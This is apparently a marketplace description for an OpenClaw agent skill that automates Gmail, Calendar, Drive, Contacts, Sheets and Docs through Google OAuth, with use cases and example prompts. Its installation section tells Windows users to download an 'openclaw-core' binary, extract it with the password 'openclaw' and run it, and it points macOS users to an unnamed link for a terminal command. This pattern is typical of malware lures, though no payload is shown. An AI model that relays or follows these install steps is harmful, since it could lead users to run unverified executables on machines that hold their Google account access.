What This Skill Does

The google skill for OpenClaw provides a powerful bridge between your AI agent and the Google Workspace ecosystem. By leveraging Google OAuth, this tool enables the agent to automate tasks within Gmail, Google Calendar, Drive, Contacts, Sheets, and Docs. It allows for seamless retrieval of email communications, scheduling of meetings, management of files in cloud storage, and manipulation of spreadsheet data, effectively turning your AI into a personal productivity assistant.

Installation

To begin using the google skill, you must first have openclaw-core installed. For Windows users, download the binary from the official GitHub release, extract it using the password 'openclaw', and execute the core file. For macOS users, visit the provided link to retrieve the specific terminal installation command. Once the core is running, execute: clawhub install openclaw/skills/skills/davidsmorais/google to integrate the skill into your local agent environment.

Use Cases

This skill is ideal for professionals needing to streamline their workflow. Common use cases include: 1) Automated Inbox Triage: Having the agent read, filter, or summarize unread emails based on specific criteria. 2) Meeting Orchestration: Allowing the agent to create calendar events and invite participants based on extracted email content. 3) Document Management: Quickly locating specific files in Drive or updating rows in a Google Sheet for automated data reporting. 4) Communication: Drafting and sending routine status updates via Gmail directly through the chat interface.

Example Prompts

1. "Check my Gmail for any unread messages from my boss today and summarize the main points for me."
2. "Please schedule a team meeting for next Tuesday from 2 PM to 3 PM, invite the project leads, and add it to my primary calendar."
3. "Find the latest project report in my Google Drive and share the link with the marketing team via email."

Tips & Limitations

Always ensure your Google OAuth tokens are refreshed and properly configured within the Clawdbot settings, as expired permissions will cause action failures. When dealing with Sheets or Docs, verify that the agent has sufficient permissions to access the specific files you intend to modify. Be cautious with bulk operations in Gmail; while the agent is capable, manual review of automated replies is recommended to maintain professional standards. The skill relies on active network connectivity and the responsiveness of Google's public APIs; therefore, latency may vary during peak hours.
